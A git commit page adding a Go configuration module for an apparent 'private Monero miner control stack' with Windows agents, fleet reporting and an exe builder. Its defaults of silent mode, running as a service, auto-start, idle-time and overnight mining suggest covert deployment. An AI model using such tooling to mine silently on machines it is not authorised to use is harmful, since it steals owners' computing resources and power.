Complete private Monero miner control stack.
Implement Windows agent with RandomX mining and WebSocket fleet reporting, wire dashboard settings into the builder with saved exe paths, and add project README.
This commit is contained in:
205
server/config.go
Normal file
205
server/config.go
Normal file
@@ -0,0 +1,205 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
type Config struct {
|
||||
Port int `json:"port"`
|
||||
DataDir string `json:"data_dir"`
|
||||
|
||||
Pool PoolConfig `json:"pool"`
|
||||
Wallet WalletConfig `json:"wallet"`
|
||||
|
||||
DefaultAgent AgentDefaults `json:"default_agent_config"`
|
||||
Background BackgroundConfig `json:"background"`
|
||||
Alerts AlertsConfig `json:"alerts"`
|
||||
}
|
||||
|
||||
type PoolConfig struct {
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
UseTLS bool `json:"use_tls"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
type WalletConfig struct {
|
||||
Address string `json:"address"`
|
||||
PaymentID string `json:"payment_id"`
|
||||
}
|
||||
|
||||
type AgentDefaults struct {
|
||||
Threads int `json:"threads"`
|
||||
CPUPriority string `json:"cpu_priority"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||||
MiningMode string `json:"mining_mode"`
|
||||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
}
|
||||
|
||||
type BackgroundConfig struct {
|
||||
SilentMode bool `json:"silent_mode"`
|
||||
RunAs string `json:"run_as"`
|
||||
AutoStart bool `json:"auto_start"`
|
||||
MinimizeToTray bool `json:"minimize_to_tray"`
|
||||
}
|
||||
|
||||
type AlertsConfig struct {
|
||||
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
|
||||
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
|
||||
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
||||
}
|
||||
|
||||
func DefaultConfig() *Config {
|
||||
return &Config{
|
||||
Port: 8989,
|
||||
DataDir: "data",
|
||||
Pool: PoolConfig{
|
||||
Host: "pool.supportxmr.com",
|
||||
Port: 3333,
|
||||
UseTLS: true,
|
||||
Password: "x",
|
||||
},
|
||||
Wallet: WalletConfig{
|
||||
Address: "",
|
||||
PaymentID: "",
|
||||
},
|
||||
DefaultAgent: AgentDefaults{
|
||||
Threads: 4,
|
||||
CPUPriority: "below_normal",
|
||||
MaxCPUUsagePct: 80,
|
||||
MinFreeRAMMB: 1024,
|
||||
MiningMode: "always",
|
||||
IdleThresholdPct: 20,
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
},
|
||||
Background: BackgroundConfig{
|
||||
SilentMode: true,
|
||||
RunAs: "service",
|
||||
AutoStart: true,
|
||||
MinimizeToTray: true,
|
||||
},
|
||||
Alerts: AlertsConfig{
|
||||
OfflineThresholdMinutes: 5,
|
||||
HashrateDropThresholdPct: 50,
|
||||
RejectionRateThresholdPct: 5,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func LoadConfig() *Config {
|
||||
cfg := DefaultConfig()
|
||||
|
||||
// Parse CLI flags
|
||||
port := flag.Int("port", 8989, "Server port")
|
||||
dataDir := flag.String("data", "data", "Data directory")
|
||||
flag.Parse()
|
||||
|
||||
cfg.Port = *port
|
||||
cfg.DataDir = *dataDir
|
||||
|
||||
// Try to load from config file
|
||||
configPath := filepath.Join(cfg.DataDir, "config.json")
|
||||
if data, err := os.ReadFile(configPath); err == nil {
|
||||
var fileCfg Config
|
||||
if err := json.Unmarshal(data, &fileCfg); err == nil {
|
||||
// Merge file config over defaults (only non-zero values)
|
||||
mergeConfig(cfg, &fileCfg)
|
||||
}
|
||||
}
|
||||
|
||||
return cfg
|
||||
}
|
||||
|
||||
func mergeConfig(dst, src *Config) {
|
||||
if src.Port != 0 {
|
||||
dst.Port = src.Port
|
||||
}
|
||||
if src.DataDir != "" {
|
||||
dst.DataDir = src.DataDir
|
||||
}
|
||||
if src.Pool.Host != "" {
|
||||
dst.Pool.Host = src.Pool.Host
|
||||
}
|
||||
if src.Pool.Port != 0 {
|
||||
dst.Pool.Port = src.Pool.Port
|
||||
}
|
||||
dst.Pool.UseTLS = src.Pool.UseTLS
|
||||
if src.Pool.Password != "" {
|
||||
dst.Pool.Password = src.Pool.Password
|
||||
}
|
||||
if src.Wallet.Address != "" {
|
||||
dst.Wallet.Address = src.Wallet.Address
|
||||
}
|
||||
if src.Wallet.PaymentID != "" {
|
||||
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
||||
}
|
||||
if src.DefaultAgent.Threads != 0 {
|
||||
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
||||
}
|
||||
if src.DefaultAgent.CPUPriority != "" {
|
||||
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
||||
}
|
||||
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
||||
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
||||
}
|
||||
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
||||
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
||||
}
|
||||
if src.DefaultAgent.MiningMode != "" {
|
||||
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
||||
}
|
||||
if src.DefaultAgent.IdleThresholdPct != 0 {
|
||||
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
||||
}
|
||||
if src.DefaultAgent.IdleDurationMinutes != 0 {
|
||||
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
||||
}
|
||||
if src.DefaultAgent.ScheduleStart != "" {
|
||||
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
||||
}
|
||||
if src.DefaultAgent.ScheduleEnd != "" {
|
||||
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
||||
}
|
||||
dst.Background.SilentMode = src.Background.SilentMode
|
||||
if src.Background.RunAs != "" {
|
||||
dst.Background.RunAs = src.Background.RunAs
|
||||
}
|
||||
dst.Background.AutoStart = src.Background.AutoStart
|
||||
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
|
||||
if src.Alerts.OfflineThresholdMinutes != 0 {
|
||||
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
||||
}
|
||||
if src.Alerts.HashrateDropThresholdPct != 0 {
|
||||
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
||||
}
|
||||
if src.Alerts.RejectionRateThresholdPct != 0 {
|
||||
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) Save() error {
|
||||
configPath := filepath.Join(c.DataDir, "config.json")
|
||||
data, err := json.MarshalIndent(c, "", " ")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to marshal config: %w", err)
|
||||
}
|
||||
return os.WriteFile(configPath, data, 0644)
|
||||
}
|
||||
|
||||
func (c *Config) PoolURL() string {
|
||||
proto := "stratum+tcp"
|
||||
if c.Pool.UseTLS {
|
||||
proto = "stratum+ssl"
|
||||
}
|
||||
return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
|
||||
}
|
||||
Reference in New Issue
Block a user